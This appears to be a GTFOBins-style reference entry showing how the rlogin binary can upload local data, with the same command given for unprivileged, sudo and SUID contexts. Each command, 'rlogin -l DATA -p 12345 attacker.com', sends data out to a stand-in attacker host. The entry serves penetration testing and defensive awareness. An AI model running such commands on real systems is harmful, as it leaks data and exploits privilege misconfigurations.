rlogin

Upload

This executable can upload local data.

CommentThe file is corrupted by leading and trailing spurious data.
Unprivileged
This function can be performed by any unprivileged user.
```
rlogin -l DATA -p 12345 attacker.com
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
rlogin -l DATA -p 12345 attacker.com
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
rlogin -l DATA -p 12345 attacker.com
```
RemarksThe content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data.